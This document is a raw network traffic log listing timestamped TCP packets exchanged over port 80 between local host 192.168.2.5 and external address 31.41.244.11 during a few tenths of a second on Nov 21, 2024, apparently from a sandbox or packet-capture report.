Nov 21, 2024 03:09:12.826817036 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.826992989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.827038050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.827831984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.827928066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.827972889 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.828859091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.828903913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.828993082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.829036951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.829967976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.830013037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.830070019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.830113888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.831015110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.831062078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.831131935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.831176043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.832082033 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.832189083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.832231045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.833163023 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.833205938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.833244085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.833286047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.834208965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.834259987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.834309101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.834353924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.835299015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.835346937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.835445881 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.835483074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.836355925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.836491108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.836561918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.837425947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.837471008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.837516069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.837554932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.838489056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.838534117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.838584900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.838622093 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.839556932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.839679956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.839715958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.840616941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.840658903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.840730906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.840774059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.841691017 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.841739893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.841789007 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.841829062 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.842760086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.842807055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.842850924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.842890024 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.843852043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.843952894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.843997955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.844892025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.844933987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.844994068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.845032930 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.845968008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.846016884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.846062899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.846101999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.847063065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.847124100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.847192049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.847233057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.848102093 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.848192930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.848254919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.994718075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.994784117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.994906902 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.995016098 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.995244980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.995441914 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.995487928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.996376991 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.996428967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.996462107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.996500015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.997364044 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.997411966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.997478008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.997529984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.998456001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.998501062 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.998575926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.998696089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.999521017 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.999655008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.999711037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.000740051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.000756025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.000801086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.000835896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.001656055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.001743078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.001774073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.001811981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.002716064 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.002754927 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.002845049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.002935886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.003773928 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.003819942 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.003858089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.003901958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.004858971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.004909039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.004998922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.005119085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.005949974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.005999088 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.006042957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.006079912 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.007045031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.007085085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.007153034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.007188082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.008050919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.008097887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.008136988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.009129047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.009179115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.009231091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.009268045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.010189056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.010248899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.010318995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.010579109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.011257887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.011377096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.011431932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.012310028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.012355089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.012388945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.012447119 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.013714075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.013768911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.013808966 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.013859034 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.014448881 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.014493942 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.014580011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.014616966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.015536070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.015640974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.015686035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.016567945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.016617060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.016694069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.016736031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.017656088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.017697096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.017761946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.017806053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.018733025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.018784046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.018845081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.018889904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.019787073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.019910097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.019953966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.020840883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.020880938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.020945072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.020982981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.021924019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.021985054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.021996975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.022021055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.023040056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.023082018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.023159027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.023207903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.024063110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.024169922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.024215937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.025171995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.025218010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.025249004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.025291920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.026170015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.026212931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.026293039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.026335001 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.027301073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.027348042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.027471066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.027510881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.028316975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.028358936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.028439045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.028481007 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.029373884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.029414892 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.029488087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.029536009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.030507088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.030564070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.030602932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.030668974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.031539917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.031662941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.031714916 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.032608986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.032663107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.032727003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.032777071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.033685923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.033736944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.033782005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.033830881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.034733057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.034782887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.034868956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.034918070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.035810947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.035849094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.035898924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.036863089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.036916971 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.036917925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.036962986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.037915945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.037967920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.038032055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.038079977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.038984060 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.039031982 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.039110899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.039160013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.040045977 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.040160894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.040209055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.041106939 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.041162968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.041162968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.041239977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.042187929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.042368889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.042423964 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.043240070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.043292999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.043374062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.043423891 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.044312000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.044363976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.044416904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.044462919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.045381069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.045433044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.045500040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.045566082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.046436071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.046485901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.046554089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.046603918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.047671080 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.047790051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.047847986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.048580885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.048631907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.048696041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.048738956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.049627066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.049678087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.049747944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.049798012 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.050683022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.050730944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.196033955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.196214914 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.196312904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.196542025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.196599960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.196690083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.196741104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.197607040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.197662115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.197702885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.198657036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.198713064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.198790073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.198844910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.199726105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.199774981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.199908972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.199955940 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.200803041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.200903893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.200956106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.201872110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.202013016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.202064037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.202914953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.202991009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.203052998 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.203103065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.204015970 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.204076052 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.204133034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.204205036 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.205068111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.205118895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.205214024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.205265999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.206165075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.206280947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.206331015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.207202911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.207269907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.207343102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.207396984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.208266020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.208349943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.208381891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.208434105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.209331989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.209419966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.209450006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.209500074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.210696936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.210843086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.210906982 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.211553097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.211613894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.211656094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.211709023 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.212647915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.212701082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.212702990 CET	49814	80	192.168.2.5	31.41.244.11
